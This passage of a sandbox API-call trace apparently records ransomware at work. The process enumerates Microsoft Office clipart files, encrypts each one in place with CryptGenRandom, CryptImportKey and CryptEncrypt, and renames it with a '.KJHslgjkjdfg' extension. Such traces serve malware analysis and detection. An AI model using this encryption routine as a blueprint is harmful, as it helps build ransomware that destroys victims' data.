ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0186.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.412] GetProcessHeap () returned 0x990000 [0186.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.412] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0186.416] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.416] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.416] GetProcessHeap () returned 0x990000 [0186.416] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.416] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.416] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.416] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.417] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.417] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.417] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.417] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.417] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.417] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.417] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3f4, lpOverlapped=0x0) returned 1 [0186.417] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x400, dwBufLen=0x400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x400) returned 1 [0186.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.417] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x400, lpOverlapped=0x0) returned 1 [0186.418] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.418] SetEndOfFile (hFile=0x130) returned 1 [0186.420] GetProcessHeap () returned 0x990000 [0186.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.420] GetProcessHeap () returned 0x990000 [0186.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.kjhslgjkjdfg")) returned 1 [0186.424] CloseHandle (hObject=0x130) returned 1 [0186.424] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0186.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.553] GetProcessHeap () returned 0x990000 [0186.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.554] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.554] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.554] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.554] GetProcessHeap () returned 0x990000 [0186.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.554] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.554] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.554] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.596] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.597] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.597] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.597] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.597] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.597] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.597] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x370, lpOverlapped=0x0) returned 1 [0186.597] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x370, dwBufLen=0x370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x370) returned 1 [0186.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.597] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x370, lpOverlapped=0x0) returned 1 [0186.597] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.597] SetEndOfFile (hFile=0x130) returned 1 [0186.599] GetProcessHeap () returned 0x990000 [0186.599] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.599] GetProcessHeap () returned 0x990000 [0186.599] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.kjhslgjkjdfg")) returned 1 [0186.601] CloseHandle (hObject=0x130) returned 1 [0186.603] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0186.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.604] GetProcessHeap () returned 0x990000 [0186.604] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.604] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.604] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0186.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.609] GetProcessHeap () returned 0x990000 [0186.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.609] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.609] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.609] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.609] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.609] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.609] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27a2, lpOverlapped=0x0) returned 1 [0186.611] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27b0) returned 1 [0186.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.611] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27b0, lpOverlapped=0x0) returned 1 [0186.611] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.611] SetEndOfFile (hFile=0x130) returned 1 [0186.614] GetProcessHeap () returned 0x990000 [0186.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.614] GetProcessHeap () returned 0x990000 [0186.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.kjhslgjkjdfg")) returned 1 [0186.615] CloseHandle (hObject=0x130) returned 1 [0186.615] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0186.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.616] GetProcessHeap () returned 0x990000 [0186.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.616] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.616] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.621] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.621] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.621] GetProcessHeap () returned 0x990000 [0186.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.622] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.622] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.622] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.622] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.622] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.622] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.622] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.622] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5b8, lpOverlapped=0x0) returned 1 [0186.622] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5c0) returned 1 [0186.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.622] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5c0, lpOverlapped=0x0) returned 1 [0186.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.623] SetEndOfFile (hFile=0x130) returned 1 [0186.624] GetProcessHeap () returned 0x990000 [0186.624] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.624] GetProcessHeap () returned 0x990000 [0186.625] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.kjhslgjkjdfg")) returned 1 [0186.628] CloseHandle (hObject=0x130) returned 1 [0186.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0186.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.629] GetProcessHeap () returned 0x990000 [0186.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.629] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.629] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.629] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.629] GetProcessHeap () returned 0x990000 [0186.629] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.629] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, 